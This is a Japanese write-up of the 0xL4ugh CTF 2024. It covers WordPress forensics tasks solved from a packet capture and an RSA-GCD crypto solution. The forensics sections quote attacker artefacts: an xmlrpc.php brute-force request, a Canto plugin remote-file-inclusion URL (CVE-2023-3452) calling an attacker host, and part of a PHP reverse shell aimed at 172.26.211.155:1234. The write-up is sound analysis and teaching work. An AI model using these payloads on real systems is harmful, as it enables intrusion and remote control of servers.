0xL4ugh CTF 2024 Writeup

この大会は2024/2/9 22:00(JST)~2024/2/10 22:00(JST)に開催されました。
今回もチームで参戦。結果は260点で614チーム中128位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

0xL4ugh{Welc0m3_To_0xL4ughCTF_2024}

WordPress - 1 (Forensics)

問題は、以下のようになっている。

Q1. 2 人の攻撃者が私たちの環境に侵入しようとしていました。被害者の IP アドレスは何ですか? 最初の攻撃者の IP アドレスは何ですか?
Q2. 私たちの環境にデプロイされている Apache サーバーと PHP サーバーのバージョンは何ですか?

pcapが添付されている。まずhttpでフィルタリングする。
被害者のIPアドレスはHTTPでアクセスされている192.168.204.128。最初の攻撃者のIPアドレスはHEADメソッドでアクセスしている192.168.204.132。
No.25のパケットに、ApachePHPのバージョンが含まれている。

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}

WordPress - 2 (Forensics)

問題は、以下のようになっている。

Q1.攻撃者は列挙中に、サイト上のユーザーを特定しようとしました。
攻撃者が列挙したすべてのユーザーをリストしてください。 アルファベット順に並べ替え":" で区切ってください。
Q2.列挙後、すべてのユーザーに対してブルート フォース攻撃が開始されました。攻撃者はアカウントの 1 つへのアクセスに成功しました。
そのアカウントのユーザー名とパスワードは何ですか?また、ブルート フォース攻撃に使用されたページの名前は何ですか?

usersで検索すると、No.88288で以下のパスにアクセスしている。

/wordpress/?author=1

以下のパスにリダイレクトされる。

/wordpress/author/a1l4m/

/wordpress/?author=2 は /wordpress/author/not7amoksha/にリダイレクトされる。
/wordpress/?author=3 にアクセスすると、demomorganのページになっている。
サイト上のユーザは以下の3名であるとわかる。

a1l4m, not7amoksha, demomorgan

No.136383から以下のページを使ってブルートフォースしている。

/wordpress/xmlrpc.php

No.147339で以下をPOSTしたときに成功しているようだ。

<?xml version" = ""1.0" ?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param>
      <value>
        <string>demomorgan</string>
      </value>
    </param>
    <param>
      <value>
        <string>demomorgan</string>
      </value>
    </param>
  </params>
</methodCall>
0xL4ugh{a1l4m:demomorgan:not7amoksha_demomorgan:demomorgan_xmlrpc.php}

WordPress - 3 (Forensics)

問題は、以下のようになっている。

Q1.攻撃者が攻撃に使用したツールの名前をアルファベット順で並べてください。
Q2.攻撃者が悪用した脆弱なプラグインが存在しました。
攻撃者の C2 サーバーは何ですか?またプラグインの名前は何ですか?
Q3.脆弱なプラグインのバージョンは何ですか?また、そのプラグインに関連付けられている CVE 番号は何ですか?

最初の方では、攻撃者からのアクセスのUser-Agentを見ると以下のようになっている。

WPScan v3.8.25 (https://wpscan.com/wordpress-security-scanner)

また最後の方にURLのパスにSQLインジェクションしているようなパスがあり、User-Agentを見ると以下のようになっている。

sqlmap/1.7.12#stable (https://sqlmap.org)

No.145191のパケットで、リバースシェルを取得しているようなパスがある。

/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000

レスポンスには以下のようなメッセージがある。

Successfully opened reverse shell to 172.26.211.155:1234\n

C2サーバは172.26.211.155。エクスプロイトを調べたら、以下のページが見つかった。

https://github.com/leoanggal1/CVE-2023-3452-PoC

対象となるプラグインのバージョンは3.0.4以下。

0xL4ugh{sqlmap_wpscan_172.26.211.155_Canto_3.0.4_CVE-2023-3452}

WordPress - 4 (Forensics)

問題は、以下のようになっている。

Q1.攻撃者がエクスプロイトをテストした関数の名前は何ですか?
攻撃者のサーバーの名前とバージョンは何ですか?
Q2.攻撃中にログオンしていたユーザー名 (ドメインを含む) は何ですか?
Q3.攻撃者はリバース シェルをアップロードしようとしました。 IP とポートを並べてください。
リバースシェルのプロセス中に障害となったコマンドは何ですか?

最初にC2サーバへのアクセスがあったのはNo.137044のパケット。そのレスポンスは以下のようになっている。

Server: SimpleHTTP/0.6 Python/3.10.12
Data: <?php phpinfo(); ?>

No.138545のパケットに/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoamiへのアクセスがあり、そのレスポンスは以下のようになっている。

desktop-2r3ar22\administrator

No.145200のパケットにリバースシェルが含まれている。

<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '172.26.211.155';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

    :

?>

tcp.port==1234でフィルタリングする。あまり通信はないが、以下のメッセージが見つかる。

'uname' is not recognized as an internal or external command,
operable program or batch file.
0xL4ugh{phpinfo()_SimpleHTTP/0.6_desktop-2r3ar22\administrator_172.26.211.155:1234_uname}

RSA-GCD (Crypto)

暗号化処理の概要は以下の通り。

・m: フラグの数値化したもの
・n = p * q (p, q不明)
・power1: 128ビット素数
・power2: 128ビット素数
・out1 = pow((p+5*q), power1, n)
・out2 = pow((2*p-3*q), power2, n)
・eq1: out1の次の素数
・c = pow(m, eq1, n)
・power1, power2, eq1, out2, c, nを出力

以下のように式を変形できる。

out1 = pow((p+5*q), power1, n)
     = (pow(p, power1, n) + pow(5, power1, n) * pow(q, power1, n)) % n
out2 = pow((2*p-3*q), power2, n)
     = (pow(2, power2, n) * pow(p, power2, n) - pow(3, power2, n) * pow(q, power2, n)) % n

さらにpower3 = power1 * power2とすると、以下が言える。

pow(out1, power2, n)
= pow((p+5*q), power3, n)
= (pow(p, power3, n) + pow(5, power3, n) * pow(q, power3, n)) % n
pow(out2, power1, n)
= pow((2*p-3*q), power3, n)
= (pow(2, power3, n) * pow(p, power3, n) - pow(3, power3, n) * pow(q, power3, n)) % n

pow(p, power3, n)とpow(q, power3, n)の連立方程式となる。なお、hintをout1とeq1の差であると推測して計算する。
pow(p, power3, n)とnのGCDはpになるので、pを算出できる。あとは通常通り復号すれば、フラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('chall2.txt', 'r') as f:
    params = f.read().splitlines()

power1 = int(params[0].split('=')[1])
power2 = int(params[1].split('=')[1])
hint = int(params[2].split('=')[1])
eq1 = int(params[3].split('=')[1])
out2 = int(params[4].split('=')[1])
c = int(params[5].split('=')[1])
n = int(params[6].split('=')[1])

out1 = eq1 - hint
power3 = power1 * power2
C1 = pow(out1, power2, n)
C2 = pow(out2, power1, n)
C = matrix(Zmod(n), [[C1], [C2]])
M = matrix(Zmod(n), [[1, pow(5, power3, n)], [pow(2, power3, n), - pow(3, power3, n)]])
P = M.inverse() * C

p = GCD(P[0][0], n)
q = GCD(P[1][0], n)
assert p * q == n

phi = (p - 1) * (q - 1)
d = int(pow(eq1, -1, phi))
m = pow(c, d, n)
flag= long_to_bytes(m).decode()
print(flag)
0xL4ugh{you_know_how_factor_N!}